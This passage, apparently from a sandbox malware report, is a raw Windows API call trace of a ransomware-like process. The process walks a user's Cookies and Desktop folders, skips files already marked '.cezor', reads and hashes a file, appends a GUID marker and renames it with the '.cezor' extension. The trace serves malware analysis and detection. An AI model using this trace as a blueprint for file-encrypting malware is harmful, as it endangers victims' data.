ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.cezor", cAlternateFileName="SIKVNB~1.CEZ")) returned 0 [0122.628] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fce290 | out: hHeap=0x5b0000) returned 1 [0122.628] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.628] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.629] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0122.629] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.629] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188b0 | out: hHeap=0x5b0000) returned 1 [0122.629] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.629] PathFindFileNameW (pszPath="") returned="" [0122.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.cezor", cAlternateFileName="SIKVNB~1.CEZ")) returned 0xffffffff [0122.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fce290 | out: hHeap=0x5b0000) returned 1 [0122.629] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.629] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.629] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0122.629] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.629] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188b0 | out: hHeap=0x5b0000) returned 1 [0122.629] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.629] PathFindFileNameW (pszPath="") returned="" [0122.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x142ae2b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.629] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x142ae2b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.630] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0x148556f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148556f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0oqCmMdMfyA -VyQ", cAlternateFileName="0OQCMM~1")) returned 1 [0122.630] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fa6f1c0, ftCreationTime.dwHighDateTime=0x1d4d312, ftLastAccessTime.dwLowDateTime=0xd180f90, ftLastAccessTime.dwHighDateTime=0x1d4cc8e, ftLastWriteTime.dwLowDateTime=0x140e5230, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x156de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7FXGdv.mkv.cezor", cAlternateFileName="7FXGDV~1.CEZ")) returned 1 [0122.630] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7FXGdv.mkv.cezor") returned=".cezor" [0122.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.630] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6203e00, ftCreationTime.dwHighDateTime=0x1d53558, ftLastAccessTime.dwLowDateTime=0xf6b8d480, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xf4ef1100, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x6fa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A959.tmp.exe", cAlternateFileName="A959TM~1.EXE")) returned 1 [0122.630] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe") returned=".exe" [0122.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.630] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x38efb4c | out: lpFileSize=0x38efb4c*=457216) returned 1 [0122.630] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0122.632] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6f9da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.632] ReadFile (in: hFile=0x618, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38efb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x38efb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.634] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.634] ReadFile (in: hFile=0x618, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38efb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x38efb78*=0x25805, lpOverlapped=0x0) returned 1 [0122.636] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0122.636] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0122.636] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0122.636] CryptAcquireContextW (in: phProv=0x38efa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38efa94*=0x68f060) returned 1 [0122.638] CryptCreateHash (in: hProv=0x68f060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38efa9c | out: phHash=0x38efa9c) returned 1 [0122.638] CryptHashData (hHash=0x2ffa868, pbData=0x3006448, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.638] CryptGetHashParam (in: hHash=0x2ffa868, dwParam=0x2, pbData=0x0, pdwDataLen=0x38efa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38efa98) returned 1 [0122.638] CryptGetHashParam (in: hHash=0x2ffa868, dwParam=0x2, pbData=0x2fbad20, pdwDataLen=0x38efa98, dwFlags=0x0 | out: pbData=0x2fbad20, pdwDataLen=0x38efa98) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] CryptDestroyHash (hHash=0x2ffa868) returned 1 [0122.640] CryptReleaseContext (hProv=0x68f060, dwFlags=0x0) returned 1 [0122.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006448 | out: hHeap=0x5b0000) returned 1 [0122.642] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6fa00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.643] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.643] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38efb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38efb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.643] CloseHandle (hObject=0x618) returned 1 [0122.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x880) returned 0x307e938 [0122.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006f50 | out: hHeap=0x5b0000) returned 1 [0122.650] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe.cezor")) returned 1 [0122.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307e938 | out: hHeap=0x5b0000) returned 1 [0122.651] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.652] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x148c7b10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148c7b10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cJ1uF3yzdYr", cAlternateFileName="CJ1UF3~1")) returned 1 [0122.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006ed8 [0122.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa8) returned 0x2f650e0 [0122.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f535d0 [0122.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53568 [0122.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307da88 [0122.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006de8 [0122.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53638 | out: hHeap=0x5b0000) returned 1 [0122.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53708 | out: hHeap=0x5b0000) returned 1 [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3007040 | out: hHeap=0x5b0000) returned 1 [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006fc8 | out: hHeap=0x5b0000) returned 1 [0122.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006fc8 [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006ed8 | out: hHeap=0x5b0000) returned 1 [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006f50 | out: hHeap=0x5b0000) returned 1 [0122.653] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.653] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.653] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b2580, ftCreationTime.dwHighDateTime=0x1d4c5ae, ftLastAccessTime.dwLowDateTime=0x74afc990, ftLastAccessTime.dwHighDateTime=0x1d4c6fd, ftLastWriteTime.dwLowDateTime=0x140e5230, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4907, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DfM1jMQH5m.m4a.cezor", cAlternateFileName="DFM1JM~1.CEZ")) returned 1 [0122.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.653] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DfM1jMQH5m.m4a.cezor") returned=".cezor" [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.653] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb5383e0, ftCreationTime.dwHighDateTime=0x1d4cd71, ftLastAccessTime.dwLowDateTime=0x7f826fe0, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x1410b390, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1512a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eCYysFOHAuDPd0.odp.cezor", cAlternateFileName="ECYYSF~1.CEZ")) returned 1 [0122.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.653] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eCYysFOHAuDPd0.odp.cezor") returned=".cezor" [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.653] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5285a00, ftCreationTime.dwHighDateTime=0x1d4c9d3, ftLastAccessTime.dwLowDateTime=0xa78dae0, ftLastAccessTime.dwHighDateTime=0x1d4ce13, ftLastWriteTime.dwLowDateTime=0x141314f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x48df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fn3wxYGSmK_5.wav.cezor", cAlternateFileName="FN3WXY~1.CEZ")) returned 1 [0122.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.653] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fn3wxYGSmK_5.wav.cezor") returned=".cezor" [0122.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.653] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b566a0, ftCreationTime.dwHighDateTime=0x1d4cda1, ftLastAccessTime.dwLowDateTime=0xca4bbb80, ftLastAccessTime.dwHighDateTime=0x1d4c693, ftLastWriteTime.dwLowDateTime=0x141314f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4d36, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gl-n 26G.bmp.cezor", cAlternateFileName="GL-N26~1.CEZ")) returned 1 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.654] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gl-n 26G.bmp.cezor") returned=".cezor" [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.654] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbbf8a0, ftCreationTime.dwHighDateTime=0x1d4cadc, ftLastAccessTime.dwLowDateTime=0x503807a0, ftLastAccessTime.dwHighDateTime=0x1d4d2e5, ftLastWriteTime.dwLowDateTime=0x14157650, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x8457, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GMWkR.wav.cezor", cAlternateFileName="GMWKRW~1.CEZ")) returned 1 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.654] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GMWkR.wav.cezor") returned=".cezor" [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.654] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x995d1b00, ftCreationTime.dwHighDateTime=0x1d4c548, ftLastAccessTime.dwLowDateTime=0x2dff71c0, ftLastAccessTime.dwHighDateTime=0x1d4c94c, ftLastWriteTime.dwLowDateTime=0x14157650, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x3e28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I TKCX nhSV2b.mp3.cezor", cAlternateFileName="ITKCXN~1.CEZ")) returned 1 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.654] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I TKCX nhSV2b.mp3.cezor") returned=".cezor" [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.654] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca678bd0, ftCreationTime.dwHighDateTime=0x1d4d0a2, ftLastAccessTime.dwLowDateTime=0xddd4430, ftLastAccessTime.dwHighDateTime=0x1d4d4b9, ftLastWriteTime.dwLowDateTime=0x1417d7b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xbde8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KdF36F.avi.cezor", cAlternateFileName="KDF36F~1.CEZ")) returned 1 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.654] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KdF36F.avi.cezor") returned=".cezor" [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.654] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e79c0, ftCreationTime.dwHighDateTime=0x1d4c888, ftLastAccessTime.dwLowDateTime=0x10a2e520, ftLastAccessTime.dwHighDateTime=0x1d4cd6c, ftLastWriteTime.dwLowDateTime=0x141a3910, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kKP8D1f.mp3.cezor", cAlternateFileName="KKP8D1~1.CEZ")) returned 1 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.654] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kKP8D1f.mp3.cezor") returned=".cezor" [0122.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.654] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d56e9a0, ftCreationTime.dwHighDateTime=0x1d4d0ae, ftLastAccessTime.dwLowDateTime=0xa8788c80, ftLastAccessTime.dwHighDateTime=0x1d4d256, ftLastWriteTime.dwLowDateTime=0x141a3910, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1313c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nborqaG7LbY-8nT0ByEv.pps.cezor", cAlternateFileName="NBORQA~1.CEZ")) returned 1 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.655] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 